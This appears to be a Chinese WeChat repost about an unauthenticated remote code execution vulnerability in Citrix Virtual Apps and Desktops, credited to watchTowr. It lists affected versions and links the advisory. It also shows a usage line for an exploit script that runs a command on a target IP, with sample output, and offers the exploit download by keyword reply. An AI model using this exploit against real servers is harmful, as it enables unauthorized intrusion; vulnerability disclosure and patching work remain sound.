来源：watchTowrLabs
现在只对常读和星标的公众号才展示大图推送，建议大家把潇湘信安“设为星标”，否则可能看不到了！
漏洞简述
https://labs.watchtowr.com/visionaries-at-citrix-have-democratised-remote-network-access-citrix-virtual-apps-and-desktops-cve-unknown/影响版本
Citrix Virtual Apps and Desktops 7 2402 LTSR 及之前的任何版本都存在此漏洞，更多详细信息请参阅citrix公告。
https://support.citrix.com/s/article/CTX691941-citrix-session-recording-security-bulletin-for-cve20248068-and-cve20248069?language=en_USPOC使用
python exploit-citrix-xen.py --target 192.168.1.120 --port 80 --cmd "whoami"__ ___ _____________ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \\ / / __ \| | \ \___| Y | |( <_> \ / | | \/\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|\/ \/ \/CVE-xxxx-xxxxx.py(*) Citrix Virtual Apps and Desktops Unauthenticated Remote Code Execution (CVE-xxxx-xxxxx) exploit by watchTowr- Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)CVEs: [CVE-xxxx-xxxxx][INFO] Command sent to 192.168.1.120 successfully!
下载地址
回复关键字【241111】获取下载链接
知 识 星 球
推 荐 阅 读
